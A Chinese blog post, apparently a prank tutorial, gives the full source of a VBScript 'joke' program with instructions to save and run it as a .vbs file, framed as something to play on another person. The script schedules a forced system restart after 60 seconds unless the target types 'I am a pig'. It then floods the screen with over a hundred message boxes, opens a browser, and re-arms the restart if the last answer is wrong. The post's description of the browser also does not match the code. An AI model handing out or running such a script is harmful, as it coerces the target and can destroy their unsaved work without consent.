抖音上非常火的整人小程序

首先给大家推荐一下我老师大神的人工智能教学网站。教学不仅零基础,通俗易懂,而且非常风趣幽默,还时不时有内涵黄段子!点这里可以跳转到网站

最近,抖音上的整人小程序深得刷客恩宠。今天小编就为大家献上源代码:

直接上效果图

这里,只有她输入“我是猪”,并且按下确定的时候,才能继续…否则将一直停留在这个页面,并且关不掉。

注意:这个小程序是关不掉的哦。当然,调出任务管理器是可以的。

 这些都是效果图。

另外,在运行的时候,还会自动打开Microsoft Edge。

接下来,直接上源代码:

set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是猪!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的!哼!",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64 MsgBox"庙里有个老和尚在讲故事.",4096+64 ws.run"iexplore.exe http://www.baidu.com" msgbox"哎呀累了!数绵羊哄我睡觉",4096+64 for i=1 to 100 MsgBox i&"只绵羊",4096+64 next msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64 msgbox"最后问个问题,我是不是大好人!",4096+64 if inputbox("是不是","请选择","是")<>"是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub 

打开你的记事本,将代码复制到文本文档,保存时将后缀改为.vbs就可以了。

点这里可以跳转到人工智能网站

发表评论